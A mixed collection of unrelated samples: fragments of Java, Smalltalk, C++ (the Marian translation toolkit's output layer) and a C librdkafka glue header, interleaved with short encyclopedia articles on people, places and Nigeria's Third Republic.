assertThat(content).isNotNull();
JsonNode eventNode = objectMapper.readTree(content);
assertThatJson(eventNode)
.when(Option.IGNORING_EXTRA_FIELDS)
.isEqualTo("{"
+ "key: 'myChannel',"
+ "channelEventKeyDetection:"
+ " {"
+ " fixedValue: 'myEvent'"
+ " }"
+ "}");
}
/**
* Test getting resource content for an unexisting channel definition .
*/
public void testGetResourceContentForUnexistingChannelDefinition() throws Exception {
HttpGet httpGet = new HttpGet(SERVER_URL_PREFIX + EventRestUrls.createRelativeResourceUrl(EventRestUrls.URL_CHANNEL_DEFINITION_RESOURCE_CONTENT, "unexisting"));
CloseableHttpResponse response = executeRequest(httpGet, HttpStatus.SC_NOT_FOUND);
closeResponse(response);
}
}
```
|
Mehdiabad (, also Romanized as Mehdīābād) is a village in Balvard Rural District, in the Central District of Sirjan County, Kerman Province, Iran. At the 2006 census, its population was 59, in 16 families.
References
Populated places in Sirjan County
|
```smalltalk
"
I am a command to invert hierarhcy of variable list in full browser.
By default variables are ordered from superclass to subclass. And I allow to toggle this order
"
Class {
#name : 'ClyInvertVariableOrderCommand',
#superclass : 'ClyBrowserCommand',
#category : 'Calypso-SystemTools-FullBrowser-Commands-MethodGroups',
#package : 'Calypso-SystemTools-FullBrowser',
#tag : 'Commands-MethodGroups'
}
{ #category : 'activation' }
ClyInvertVariableOrderCommand class >> browserContextMenuActivation [
<classAnnotation>
^CmdContextMenuActivation byItemOf: CmdExtraMenuGroup for: ClyVariableMethodGroup asCalypsoItemContext
]
{ #category : 'accessing' }
ClyInvertVariableOrderCommand >> defaultMenuItemName [
^'Invert hierarchy'
]
{ #category : 'execution' }
ClyInvertVariableOrderCommand >> execute [
ClySubclassHierarchy invertVariableHierarchy.
browser switchToVariables
]
```
|
María Itatí Castaldi (born 16 October 1966) is an Argentinian basketball player, member of Paralympics team for her country.
Biography
Until 2006 she was a hockey player and member of Ferroviarios club. That year she travelled to Frank, Santa Fe province to play a match, but a car accident caused a spinal injury.
In 2012 she started to play basketball in CILSA and they called the selection, they are testing female players, and the experience that first was part of her rehabilitation, she took her of several international competitions.
References
External links
Maria Itatí Castaldi - CILSA STA.FE - Pre Selección basquet sobre sillas, TV Coop Justiniano Posse
Argentine women's basketball players
Women's wheelchair basketball players
Paralympic competitors for Argentina
Argentine female field hockey players
1988 births
Living people
|
Sir Henry Moody, 1st Baronet (c. 1582 – 23 April 1629) was an English politician who sat in the House of Commons between 1625 and 1629.
Ancestry
Moody's family had moved from Worcestershire to Malmesbury, Wiltshire, by the end of the 15th century, where they leased property and pastureland from Malmesbury Abbey. The family came to prominence amongst the gentry of Wiltshire subsequent to their acquisition, by royal grant, of several of the Abbey's estates, including Garsdon manor, subsequent to the Dissolution of the Monasteries. By 1544 the Moody family acquired the Whitchurch and Cleverton manors, both near Malmesbury, and extensive acreage elsewhere.
Sir Henry was the son of Richard Moody (d. 1612), and the grandson of Richard Moody (d. 1550). Sir Henry's mother was Christiana Barwick, daughter of John Barwick, of Wilcot, Wiltshire.
Career
He was knighted at Whitehall on 18 March 1606. From 1618 to 1619, he was Sheriff of Wiltshire. He was created baronet on 11 March 1622. In 1625, he was elected Member of Parliament for Malmesbury. He was re-elected MP for Malmesbury in 1626 and 1628 and sat until 1629 when King Charles decided to rule without parliament for eleven years.
Moody died at Garesdon about a month after the dissolution of parliament, at the age of about 46.
Moody married on 20 January 1606 to Deborah Dunch, daughter of Walter Dunch of Avebury, Wiltshire and his wife Deborah Pilkington, daughter of James Pilkington, Bishop of Durham. She was a Nonconformist and, after Moody's death in 1629, emigrated to Massachusetts in 1636. In 1643 she was granted land in the southwestern part of the Dutch settlement in western Long Island, where she founded Gravensande between December 1654 and May 1659.
The 1st Baronet's son, also Henry, who was a cavalier during the English Civil War, inherited the baronetcy.
References
1580s births
1629 deaths
Baronets in the Baronetage of England
High Sheriffs of Wiltshire
English MPs 1625
English MPs 1626
English MPs 1628–1629
Place of birth missing
|
Abetone Cutigliano is a comune (municipality) in the Province of Pistoia in the Italian region Tuscany . It was created in 2017 after the merger of the former communes of Abetone and Cutigliano.
References
External links
Official website
Cities and towns in Tuscany
|
The Third Republic was the planned republican government of Nigeria in 1992 which was to be governed by the Third Republican constitution. In the Third Republic, there were democratically elected state governors and state assemblies and a democratically elected federal legislature (National Assembly). The republic was however not fully democratic as there was no democratically elected civilian president. The then military president Ibrahim Babangida's supposed transition eventually turned out to be a ploy to keep executive powers and grant the National Assembly limited legislative powers. Hence all laws passed by the Senate and House of Representatives will have to pass the National Defence and Security Council of Nigeria and finally approved by the President. So while Babangida changed the usual style adopted by preceding military leaders from Head of State to President, he will continue to postpone presidential elections and eventually annul the ultimate one held on 12 June 1993. The Third Republic can thus be described as half military and half civilian.
Founded (1992)
The constitution of the Third Republic was drafted in 1989 being the climax of the workings of a constituent assembly. General Ibrahim Badamasi Babangida (IBB), the military head of state at the time, promised to end military rule by 1990. This date was subsequently pushed forward to 1993. In the spring of 1989, IBB lifted the ban on political activity, which had been in place since the coup of 1983. The conference established two political parties: the center-right National Republican Convention (NRC) and the center-left Social Democratic Party (SDP). The parties were required to draw from a national rather than regional or tribal basis. Gubernatorial and state legislative elections were conducted in December 1991. The civilian governors elected in this balloting took office in January 1992.
The presidential election was postponed until 12 June 1993 due to political unrest. MKO Abiola, a wealthy Yoruba businessman, won a decisive victory in the presidential elections on the SDP platform, defeating Bashir Tofa of the National Republican Convention. Abiola won even in his northern opponent's home state. Abiola won in the Federal capital, Abuja, the military polling stations, and in over two-thirds of Nigerian states. Men of northern descent largely dominated Nigeria's political landscape after independence and the win by Abiola, a southern Muslim, remains unequaled today.
IBB said years later that he now regards the decision to annul the election as unfortunate given its consequences. But he still believes he did the right thing, he said, because he had specific information about plans to overthrow the Abiola government and it seemed pointless to turn the country over to civilian rule if there would be a military coup within months. He acknowledged the irony of the Sani Abacha coup in the light of this claim but maintained that the military overthrow of the civilian government that succeeded him was precisely the outcome he had been trying to avoid.
The federal legislators were however luckier as after a series of procrastinations by president Babangida following the 4 July 1992 legislative elections, the Third National Assembly was eventually inaugurated on 5 December 1992. It was the same election that produced president Bola Ahmed Tinubu then a protégé of Abiola as senator for Lagos West senatorial constituency and Chuba Okadigbo a philosopher and a former Senate President in the Fourth Nigerian Republic as senator for Anambra North senatorial constituency. Informal sources alleged that while General Babangida wanted a legislature to give the government the facade of a representative democracy, he never intended to cede power to a democratically elected president and so while he continued to postpone the presidential election, he lobbied the National Assembly to recognise him as the country's legitimate president while keeping their jobs or risk the entire collapse of the Third Republic which was inevitable after all.
Political parties
National Republican Convention (NRC)
Social Democratic Party (SDP)
President-elect and Vice President-elect
National Assembly Members
The following is a full list of the democratically elected members of the National Assembly in the Third Nigerian Republic as documented by ace journalist, author and publisher Chris Anyanwu. In her book entitled the 'Law Makers 1992–1996' Federal Republic of Nigeria, Anyanwu provides the basis for the 1989 Nigerian Constitution on which the republic was based. The 1989 Constitution was based on the 1979 Constitution (Second Nigerian Republic) albeit with some amendments. At the peak of the Sani Abacha junta (1 June 1995), she was arrested and tried by a special military tribunal in connection with a coup to overthrow the military government and sentenced to life in solitary confinement (later commuted to 15 years). She was later released in 1998 on Abacha's death. Anyanwu will herself later become a two term Senator of the Federal Republic of Nigeria (2007–2015) representing Imo East senatorial constituency. There are 91 Distinguished Senators and 593 Honourable Members of the House of Representatives of the Third Nigerian Republic in the list. 2 senatorial seats and 4 House of Representative seats were declared vacant by the electoral umpire.
The list as consistent with the 1989 constitution, is based on 30 states as was obtainable under the presidency of General Ibrahim Badamasi Babangida. The Sani Abacha junta will go on to create the six more states of Bayelsa, Ebonyi, Ekiti, Gombe, Nassarawa and Zamfara states. Hence the 1989 constitution is different from the 1999 constitution of the Fourth Nigerian Republic largely due to the later appearance of these states. The 3 senators per state rule was sustained while the various House of Representatives constituencies were expanded (many comprising at least 2 local government areas) with the exception of just a few constituencies. The total number of senators was thus upped to 108 plus the FCT making 109 and representatives reduced to 360.
Annulment and dissolution
On 23 June 1993, IBB had the election annulled. This threw the country into chaos. "Many Yoruba have long resented the domination of Nigeria's political life by the mostly northern Hausa-Fulani ethnic group, and were ecstatic when one of their own, Mr. Abiola, appeared to have won the recent balloting", commented the New York Times. The United Kingdom responded to the announcement by freezing aid and withdrawing military assistance. IBB eventually bowed to pressure from his inner circle and resigned from office on 23 August 1993. Ernest Shonekan, a Yoruba businessman and the head of IBB's transition team, assumed the office of the presidency as the head of the interim national government. Shonekan was unable to manage the political turmoil which ensued in the post IBB months.
Shonekan's caretaker government was quietly removed from office by Minister of Defence, General Sani Abacha on 17 November 1993. On 11 June 1994, president-elect Moshood Kashimawo Olawale Abiola declared himself president and went into hiding. The Abacha administration hunted Abiola down and arrested him on charges of treason. Abiola remained in prison until he died in 1998.
Legacy of 12 June 1993
Following the protests and unrest of 12 June 1993 election annulment, the internment of MKO Abiola, and his eventual demise in 1998 (same year of Abacha's death) the political landscape of the Nigerian nation has never been the same. When Abacha suddenly died, General Abdulsalami Abubakar from Niger State in North-Central Nigeria took over the reins of power. He quickly announced that the military government will hand over power to a democratically elected civilian government on 29 May 1999. General Abubakar did good on his word and organised a rapid transition. Politicking began and two major political parties were formed; the People's Democratic Party and the All People's Party. Elections were held the following February between Olusegun Obasanjo of the PDP and Olu Falae of the APP in which Obasanjo was declared winner with 63% of the vote. On the 29 of May 1999, former Head of State and President-elect General Olusegun Obasanjo was sworn into office ushering in the Fourth Nigerian Republic. IBB however has remained hugely unpopular since he left the presidency even in the northern part of the nation where he comes from. He tried to take another shot at the presidency but failed to gain popular support. Abdulsalami Abubakar has taken centre stage as a very trustworthy negotiator and arbiter between conflicting parties in the Nigerian polity. In June 2018, president Muhammadu Buhari moved democracy day from 29 May to 12 June in recognition of the gross injustice against MKO Abiola which effectively led to his martyrdom. also the National Stadium Abuja was renamed MKO Abiola Stadium in his honour.
On 29 May 2023 just 14 days short of three decades after 12 June, Bola Ahmed Tinubu a protégé of Abiola took office as the 16th president of the Federal Republic of Nigeria after a very closely fought election. Tinubu, a former senator in Abiola's days (1992–1993) and a two term Governor of Lagos State in the Fourth Nigerian Republic (1999–2007) is a Yoruba statesman and political mentor who's influence on South-West politics is second only to Chief Obafemi Awolowo's.
See also
Nigerian First Republic (1963–1966)
Nigerian Second Republic (1979–1983)
Nigerian Fourth Republic (1999–present)
References
Further reading
Nigeria – US State Department Profile
The History of Nigeria
Media Accountability and Democracy in Nigeria
History of Nigeria
1993 in Nigeria
Republic of Nigeria 03
Politics of Nigeria
1990s in Nigeria
|
Nehemiah Eastman (June 16, 1782 – January 11, 1856) was an American lawyer, banker and politician from New Hampshire. He served as a member of the United States House of Representatives, the New Hampshire Senate and the New Hampshire House of Representatives in the early 1800s.
Early life
Born in Gilmanton, New Hampshire, Eastman was the son of Ebenezer and Mary (Butler) Eastman. He attended the local academy in Gilmanton and then read law with John Curtis Chamberlain, future member of the United States House of Representatives. He was admitted to the bar in 1807 and began the practice of law in Farmington, New Hampshire.
Political career
Eastman began his political career as a member of the New Hampshire House of Representatives in 1813. He served in the New Hampshire Senate from 1820 to 1825. Elected as an Adams candidate to the Nineteenth Congress, Eastman served as United States Representative for the state of New Hampshire from March 4, 1825 to March 3, 1827. After leaving Congress, he resumed the practice of law. In 1834, Eastman and James Farrington organized the Rochester Bank in Rochester, New Hampshire.
Death
Eastman died in Farmington, Strafford County, New Hampshire, on January 11, 1856. He is interred at Farmington Cemetery in Farmington, New Hampshire.
Personal life
On October 24, 1813, Eastman married Anstriss Barker Woodbury in Francestown, New Hampshire and they had four children: Charles, Martha Ann, George Nehemiah, and Henry Patrick. His brother-in-law was Levi Woodbury, an Associate Justice of the Supreme Court of the United States and 9th Governor of New Hampshire.
Eastman was the uncle of Ira Allen Eastman, a United States Representative from New Hampshire.
References
External links
Biographical Directory of the United States Congress
1782 births
1856 deaths
People from Gilmanton, New Hampshire
American people of English descent
National Republican Party members of the United States House of Representatives from New Hampshire
Members of the New Hampshire House of Representatives
New Hampshire state senators
People from Farmington, New Hampshire
New Hampshire lawyers
American lawyers admitted to the practice of law by reading law
19th-century American lawyers
Members of the United States House of Representatives from New Hampshire
|
James Gips (died June 10, 2018) was an American technologist, academic, and author based in Boston. He was the John R. and Pamela Egan Professor of computer science and professor of information systems at Boston College.
Gips’ research was focused around the use of technology to help people with disabilities live fuller lives. He was the co-inventor and principal developer of two assistive technologies, EagleEyes and Camera Mouse. Gips has written on a variety of topics including ethical robots, shape grammars and aesthetics.
In 2007, Gips won the da Vinci Award for exceptional design and engineering achievements in accessibility and universal design.
Gips died June 10, 2018, aged 72.
Education
After completing his B.S. in Humanities and Engineering from MIT in 1967, Gips joined Stanford University for M.S. in Computer Science, which he completed in 1968. Subsequently, he joined the National Institute of Health, Bethesda, as Officer, U.S. Public Health Service and worked there until 1970. In 1970, he invented shape grammars with George Stiny. He returned for a Ph.D. in Computer Science at Stanford, completing it in 1974. His Ph.D. dissertation, “Shape Grammars and Their Uses,” was published as a book.
Career
Gips joined University of California, Los Angeles in 1974 as Assistant Research Computer Scientist. While he was working there, he wrote the book “Algorithmic Aesthetics” with George Stiny. In 1976, he left UCLA and started teaching at Boston College. In 1979, while still teaching at Boston College, Gips joined Harvard University Summer School as an associate professor and taught there until 1983.
In 1993, Gips along with Peter Olivieri and Joseph Tecce developed EagleEyes, a technology that allows disabled people to use a mouse pointer on a computer screen just by moving their eyes. EagleEyes uses electrodes placed on the persons head to move the mouse pointer by following their eye movements. EagleEyes was a finalist for the Discover Magazine Technological Innovation Awards in 1994 and in 2006 was named a Tech Museum Award Laureate by the Tech Museum of San Jose.
While working on a successor for EagleEyes, Gips and Margrit Betke thought of a program that would allow people to use a mouse with the movement of their head. The idea resulted in Camera Mouse. The application uses a standard webcam to track head movements and move the mouse pointer accordingly. A free public version of Camera Mouse was launched in 2007 and has over 3,000,000 downloads.
Gips has worked with S. Adam Brasel on research on technology and consumer behavior.
Research Awards
2007 - da Vinci Award 2007
Bibliography
Books
Mastering Excel 2016: A Problem-Solving Approach, Pearson. (2016)
Mastering Excel 2013: A Problem-Solving Approach, Pearson. (2013)
Mastering Excel 2010: A Problem-Solving Approach, Pearson. (2011)
Mastering Excel 2007: A Problem-Solving Approach, Pearson. (2007)
An Eye Control Teaching Device for Students Without Language Expressive Capacity: EagleEyes, Edwin Mellen Press. (2001)
Mastering Excel: A Problem-Solving Approach, John Wiley. (1997)
Mastering Lotus 1-2-3: A Problem-Solving Approach, John Wiley. (1991)
Algorithmic Aesthetics: Computer Models for Criticism and Design in the Arts, University of California Press, Berkeley. (1979)
Shape Grammars and Their Uses, Birkhauser Verlag, Basel. (1975)
Selected articles
Interface Psychology: Touchscreens Change Attribute Importance, Decision Criteria, and Behavior in Online Choice. Cyberpsychology, Behavior, and Social Networking. Vol. 18, No. 9, September 2015.
Enhancing Television Advertising: Same-Language Subtitles Can Improve Brand Recall, Verbal Memory, and Behavioral Intent. Journal of the Academy of Marketing Science. Vol. 42, No. 3, May 2014.
Red Bull ‘Gives You Wings’ For Better or Worse: A Double-Edged Impact of Brand Exposure on Performance. Journal of Consumer Psychology. Vol. 21, Issue 1, January 2011, pp. 57–64.
References
1940s births
2018 deaths
Boston College faculty
Stanford University alumni
Massachusetts Institute of Technology alumni
|
Equisetum ramosissimum , known as branched horsetail, is a species of evergreen horsetail (genus Equisetum, subgenus Hippochaete).
Botanists today recognize two subspecies. The type subspecies, E. ramosissimum subsp. ramosissimum, is native through much of Asia, Europe, and Africa, with an introduced population in the southeast United States. E. ramosissimum subsp.debile, sometimes treated as the separate species E. debile, is found in extreme southern China, southeast Asia and some Pacific islands, including the East Indies, New Caledonia and Fiji among others. The type subspecies has more obvious branching from the aerial stem than subspecies debile. E. r. subsp. debile is one of the largest forms of Equisetum reaching a height of .
References
ramosissimum
Flora of Malta
|
```c++
#include "output.h"
#include "common/timer.h"
#include "data/factored_vocab.h"
#include "layers/loss.h"
namespace marian {
namespace mlp {
/*private*/ void Output::lazyConstruct(int inputDim) {
// We must construct lazily since we won't know tying nor input dim in constructor.
if(Wt_)
return;
auto name = options_->get<std::string>("prefix");
auto numOutputClasses = options_->get<int>("dim");
factoredVocab_ = FactoredVocab::tryCreateAndLoad(options_->get<std::string>("vocab", ""));
if(factoredVocab_) {
numOutputClasses = (int)factoredVocab_->factorVocabSize();
LOG_ONCE(info, "[embedding] Factored outputs enabled");
}
if(tiedParam_) {
Wt_ = tiedParam_;
} else {
if(graph_->get(name + "_W")) { // support of legacy models that did not transpose
Wt_ = graph_->param(
name + "_W", {inputDim, numOutputClasses}, inits::glorotUniform(true, false));
isLegacyUntransposedW = true;
} else // this is the regular case:
Wt_ = graph_->param(
name + "_Wt", {numOutputClasses, inputDim}, inits::glorotUniform(false, true));
}
if(hasBias_)
b_ = graph_->param(name + "_b", {1, numOutputClasses}, inits::zeros());
/*const*/ int lemmaDimEmb = options_->get<int>("lemma-dim-emb", 0);
std::string lemmaDependency = options_->get<std::string>("lemma-dependency", "");
ABORT_IF(lemmaDimEmb && !factoredVocab_, "--lemma-dim-emb requires a factored vocabulary");
if(lemmaDependency == "re-embedding") { // embed the (expected) word with a different embedding matrix
ABORT_IF(
lemmaDimEmb <= 0,
"In order to predict factors by re-embedding them, a lemma-dim-emb must be specified.");
auto range = factoredVocab_->getGroupRange(0);
auto lemmaVocabDim = (int)(range.second - range.first);
auto initFunc = inits::glorotUniform(
/*fanIn=*/true, /*fanOut=*/false); // -> embedding vectors have roughly unit length
lemmaEt_ = graph_->param(name + "_lemmaEt",
{lemmaDimEmb, lemmaVocabDim},
initFunc); // [L x U] L=lemmaDimEmb; transposed for speed
}
}
Logits Output::applyAsLogits(Expr input) /*override final*/ {
lazyConstruct(input->shape()[-1]);
auto affineOrDot = [](Expr x, Expr W, Expr b, bool transA, bool transB) {
/*
std::cerr << "affineOrDot.x=" << x->shape() << std::endl;
std::cerr << "affineOrDot.W=" << W->shape() << std::endl;
if (b) std::cerr << "affineShortlist.b=" << b->shape() << std::endl;
std::cerr << "affineOrDot.transA=" << transA << " transB=" << transB << std::endl;
*/
if(b)
return affine(x, W, b, transA, transB);
else
return dot(x, W, transA, transB);
};
auto affineShortlist = [this](Expr x, Expr W, Expr b, bool transA, bool transB) {
/*
std::cerr << "affineShortlist.x=" << x->shape() << std::endl;
std::cerr << "affineShortlist.W=" << W->shape() << std::endl;
if (b) std::cerr << "affineShortlist.b=" << b->shape() << std::endl;
std::cerr << "affineShortlist.transA=" << transA << " transB=" << transB << std::endl;
*/
Expr ret;
if (b) {
// original shortlist. W always has 1 for beam & batch
ABORT_UNLESS(!shortlist_->isDynamic(), "affineShortlist. Bias not supported with LSH/dynamic shortlist"); // todo rename ABORT_UNLESS to ASSERT
ret = affine(x, W, b, transA, transB);
}
else if (shortlist_->isDynamic()) {
// LSH produces W entry for each beam and batch => need bdot()
ABORT_IF(!(!transA && transB), "affineShortlist. Only tested with transA==0 and transB==1");
ret = bdot(x, W, transA, transB);
}
else {
// original shortlist. W always has 1 for beam & batch
ret = dot(x, W, transA, transB);
}
//std::cerr << "ret.x=" << ret->shape() << std::endl;
return ret;
};
if(shortlist_) {
shortlist_->filter(input, Wt_, isLegacyUntransposedW, b_, lemmaEt_);
}
if(factoredVocab_) {
auto graph = input->graph();
// project each factor separately
auto numGroups = factoredVocab_->getNumGroups();
std::vector<Ptr<RationalLoss>> allLogits(numGroups,
nullptr); // (note: null entries for absent factors)
Expr input1 = input; // [B... x D]
Expr Plemma = nullptr; // used for lemmaDependency = lemma-dependent-bias
Expr inputLemma = nullptr; // used for lemmaDependency = hard-transformer-layer and soft-transformer-layer
std::string factorsCombine = options_->get<std::string>("factors-combine", "");
ABORT_IF(factorsCombine == "concat", "Combining lemma and factors embeddings with concatenation on the target side is currently not supported");
for(size_t g = 0; g < numGroups; g++) {
auto range = factoredVocab_->getGroupRange(g);
if(g > 0 && range.first == range.second) // empty entry
continue;
ABORT_IF(g > 0 && range.first != factoredVocab_->getGroupRange(g - 1).second,
"Factor groups must be consecutive (group {} vs predecessor)",
g);
// slice this group's section out of W_
Expr factorWt, factorB;
if(g == 0 && shortlist_) {
factorWt = shortlist_->getCachedShortWt();
factorB = shortlist_->getCachedShortb();
} else {
factorWt = slice(
Wt_, isLegacyUntransposedW ? -1 : 0, Slice((int)range.first, (int)range.second));
if(hasBias_)
factorB = slice(b_, -1, Slice((int)range.first, (int)range.second));
}
/*const*/ int lemmaDimEmb = options_->get<int>("lemma-dim-emb", 0);
std::string lemmaDependency = options_->get<std::string>("lemma-dependency", "");
if((lemmaDependency == "soft-transformer-layer" || lemmaDependency == "hard-transformer-layer") && g > 0) {
// this mimics one transformer layer
// - attention over two inputs:
// - e = current lemma. We use the original embedding vector; specifically, expectation
// over all lemmas.
// - input = hidden state FF(h_enc+h_dec)
// - dot-prod attention to allow both sides to influence (unlike our recurrent
// self-attention)
// - multi-head to allow for multiple conditions to be modeled
// - add & norm, for gradient flow and scaling
// - FF layer --this is expensive; it is per-factor
// multi-head attention
int inputDim = input->shape()[-1];
int heads = 8;
auto name = options_->get<std::string>("prefix") + "_factor" + std::to_string(g);
auto Wq = graph_->param(name + "_Wq", {inputDim, inputDim}, inits::glorotUniform());
auto Wk = graph_->param(name + "_Wk", {inputDim, inputDim}, inits::glorotUniform());
auto Wv = graph_->param(name + "_Wv", {inputDim, inputDim}, inits::glorotUniform());
auto toMultiHead = [&](Expr x, int heads) {
const auto& shape = x->shape();
int inputDim = shape[-1];
int otherDim = shape.elements() / inputDim;
ABORT_IF(inputDim / heads * heads != inputDim,
"inputDim ({}) must be multiple of number of heads ({})",
inputDim,
heads);
return reshape(x, {otherDim, heads, 1, inputDim / heads});
};
input1 = inputLemma;
auto qm = toMultiHead(dot(input1, Wq), heads); // [B... x H x D/H] projected query
auto kdm = toMultiHead(dot(input1 - input, Wk),
heads); // [B... x H x D/H] the two data vectors projected as keys.
// Use diff and sigmoid, instead of softmax.
auto vem = toMultiHead(
dot(input1, Wv),
heads); // [B... x H x D/H] one of the two data vectors projected as values
auto vim = toMultiHead(dot(input, Wv), heads); // [B... x H x D/H] the other
auto zm = bdot(qm, kdm, false, true); // [B... x H x 1]
auto sm = sigmoid(zm); // [B... x H x 1]
auto rm = sm * (vem - vim) + vim; // [B... x H x D/H]
auto r = reshape(rm, input->shape()); // [B... x D]
// add & norm
input1 = r + input1;
input1 = layerNorm(input1, name + "_att");
// FF layer
auto ffnDropProb = 0.1f; // @TODO: get as a parameter
auto ffnDim = inputDim * 2; // @TODO: get as a parameter
auto f = denseInline(input1,
name + "_ffn",
/*suffix=*/"1",
ffnDim,
inits::glorotUniform(),
"relu",
ffnDropProb);
f = denseInline(f, name + "_ffn", /*suffix=*/"2", inputDim);
// add & norm
input1 = f + input1;
input1 = layerNorm(input1, name + "_ffn");
}
// @TODO: b_ should be a vector, not a matrix; but shotlists use cols() in, which requires a
// matrix
Expr factorLogits;
if(g == 0 && shortlist_) {
Expr tmp = transpose(input1, {0, 2, 1, 3});
factorLogits = affineShortlist(
tmp,
factorWt,
factorB,
false,
/*transB=*/isLegacyUntransposedW ? false : true); // [B... x U] factor logits
factorLogits = transpose(factorLogits, {0, 2, 1, 3});
}
else {
factorLogits = affineOrDot(
input1,
factorWt,
factorB,
false,
/*transB=*/isLegacyUntransposedW ? false : true); // [B... x U] factor logits
}
// optionally add lemma-dependent bias
if(Plemma) { // [B... x U0]
int lemmaVocabDim = Plemma->shape()[-1];
int factorVocabDim = factorLogits->shape()[-1];
auto name = options_->get<std::string>("prefix");
Expr lemmaBt
= graph_->param(name + "_lemmaBt_" + std::to_string(g),
{factorVocabDim, lemmaVocabDim},
inits::zeros()); // [U x U0] U0=#lemmas one bias per class per lemma
auto b = dot(Plemma, lemmaBt, false, true); // [B... x U]
factorLogits = factorLogits + b;
}
//std::cerr << "factorLogits=" << factorLogits->shape() << std::endl;
allLogits[g] = New<RationalLoss>(factorLogits, nullptr);
// optionally add a soft embedding of lemma back to create some lemma dependency
// @TODO: if this works, move it into lazyConstruct
if(lemmaDependency == "soft-transformer-layer" && g == 0) {
LOG_ONCE(info, "[embedding] using lemma conditioning with gate, soft-max version");
// get expected lemma embedding vector
auto factorLogSoftmax = logsoftmax(
factorLogits); // [B... x U] note: with shortlist, this is not the full lemma set
auto factorSoftmax = exp(factorLogSoftmax);
inputLemma = dot(factorSoftmax,
factorWt,
false,
/*transB=*/isLegacyUntransposedW ? true : false); // [B... x D]
} else if(lemmaDependency == "hard-transformer-layer" && g == 0) {
LOG_ONCE(info, "[embedding] using lemma conditioning with gate, hard-max version");
// get max-lemma embedding vector
auto maxVal = max(factorLogits,
-1); // [B... x U] note: with shortlist, this is not the full lemma set
auto factorHardmax = eq(factorLogits, maxVal);
inputLemma = dot(factorHardmax,
factorWt,
false,
/*transB=*/isLegacyUntransposedW ? true : false); // [B... x D]
} else if(lemmaDependency == "lemma-dependent-bias" && g == 0) {
ABORT_IF(shortlist_, "Lemma-dependent bias with short list is not yet implemented");
LOG_ONCE(info, "[embedding] using lemma-dependent bias");
auto factorLogSoftmax
= logsoftmax(factorLogits); // (we do that again later, CSE will kick in)
auto z = /*stopGradient*/ (factorLogSoftmax);
Plemma = exp(z); // [B... x U]
} else if(lemmaDependency == "re-embedding" && g == 0) {
ABORT_IF(
lemmaDimEmb <= 0,
"In order to predict factors by re-embedding them, a lemma-dim-emb must be specified.");
LOG_ONCE(info, "[embedding] enabled re-embedding of lemma, at dim {}", lemmaDimEmb);
// compute softmax. We compute logsoftmax() separately because this way, computation will be
// reused later via CSE
auto factorLogSoftmax = logsoftmax(factorLogits);
auto factorSoftmax = exp(factorLogSoftmax);
// re-embedding lookup, soft-indexed by softmax
Expr e;
if(shortlist_) { // short-listed version of re-embedding matrix
Expr cachedShortLemmaEt = shortlist_->getCachedShortLemmaEt();
// std::cerr << "factorSoftmax=" << factorSoftmax->shape() << std::endl;
// std::cerr << "cachedShortLemmaEt=" << cachedShortLemmaEt->shape() << std::endl;
const Shape &fShape = factorSoftmax->shape();
ABORT_IF(fShape[1] != 1, "We are decoding with a shortlist but time step size {} != 1??", fShape[1]);
factorSoftmax = reshape(factorSoftmax, {fShape[0], fShape[2], 1, fShape[3]}); // we can switch dims because time step is of size 1
// std::cerr << "factorSoftmax=" << factorSoftmax->shape() << std::endl;
e = bdot(factorSoftmax, cachedShortLemmaEt, false, true);
// std::cerr << "e.1=" << e->shape() << std::endl;
const Shape &eShape = e->shape();
e = reshape(e, {eShape[0], 1, eShape[1], eShape[3]}); // switch dims back, again possible because time step is of size 1
// std::cerr << "e.2=" << e->shape() << std::endl;
// std::cerr << std::endl;
} else { // for scoring, training and decoding without a shortlist we use a simple dot operation
e = dot(factorSoftmax,
lemmaEt_,
false,
true); // [B... x L]
}
// project it back to regular hidden dim
int inputDim = input1->shape()[-1];
auto name = options_->get<std::string>("prefix");
// note: if the lemmaEt[:,w] have unit length (var = 1/L), then lemmaWt @ lemmaEt is also
// length 1
Expr lemmaWt
= inputDim == lemmaDimEmb
? nullptr
: graph_->param(name + "_lemmaWt",
{inputDim, lemmaDimEmb},
inits::glorotUniform()); // [D x L] D=hidden-vector dimension
auto f = lemmaWt ? dot(e, lemmaWt, false, true) : e; // [B... x D]
// augment the original hidden vector with this additional information
input1 = input1 + f;
}
}
return Logits(std::move(allLogits), factoredVocab_);
} else if(shortlist_) {
const Shape &inputShape = input->shape();
assert(inputShape[1] == 1); // time dimension always 1 for decoding
input = reshape(input, {inputShape[0], inputShape[2], 1, inputShape[3]});
Expr Wt = shortlist_->getCachedShortWt();
Expr b = shortlist_->getCachedShortb();
Expr ret = affineShortlist(input,
Wt,
b,
false,
/*transB=*/isLegacyUntransposedW ? false : true);
const Shape &retShape = ret->shape();
assert(retShape[2] == 1); // time dimension always 1 for decoding
ret = reshape(ret, {retShape[0], 1, retShape[1], retShape[3]});
return Logits(ret);
} else {
Expr ret = affineOrDot(input, Wt_, b_, false, /*transB=*/isLegacyUntransposedW ? false : true);
return Logits(ret);
}
}
} // namespace mlp
} // namespace marian
```
|
Elísio de Figueiredo served as the first ambassador of Angola to the United Nations from 1976 to 1988 as well as the Minister of Industry.
On 16 March 1979, de Figueiredo, in his letter to the United Nations, requested an urgent meeting of the United Nations Security Council on the question of South Africa's continuous acts of aggression in Angola.
References
External links
UN.int Angolan ambassadors to the United Nations
Permanent Representatives of Angola to the United Nations
Living people
Year of birth missing (living people)
Place of birth missing (living people)
|
```objective-c
/**
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
#pragma once
/**
* Glue between Go, Cgo and librdkafka
*/
/**
* Temporary C to Go header representation
*/
typedef struct tmphdr_s {
const char *key;
const void *val; // producer: malloc()ed by Go code if size > 0
// consumer: owned by librdkafka
ssize_t size;
} tmphdr_t;
/**
* @struct This is a glue struct used by the C code in this client to
* effectively map fields from a librdkafka rd_kafka_message_t
* to something usable in Go with as few CGo calls as possible.
*/
typedef struct glue_msg_s {
rd_kafka_message_t *msg;
rd_kafka_timestamp_type_t tstype;
int64_t ts;
tmphdr_t *tmphdrs;
size_t tmphdrsCnt;
int8_t want_hdrs; /**< If true, copy headers */
} glue_msg_t;
```
|
The Tomaquag Rock Shelters (RI-HP-1) are a prehistoric rock shelter site off Maxson Hill Road (formerly Burdickville Road) in Hopkinton, Rhode Island. The shelters are located under two east-facing granite outcrops in the valley drained by Tomaquag Brook. Nathan Kaye discovered the shelters in the late 1950s. Materials recovered from test excavations resulted in dating one shelter to 800 BC and the other to AD 800. Materials recovered include projectile points, stone knives, and evidence of stone tool construction. Both sites included evidence pointing to the presence of a fire pit.
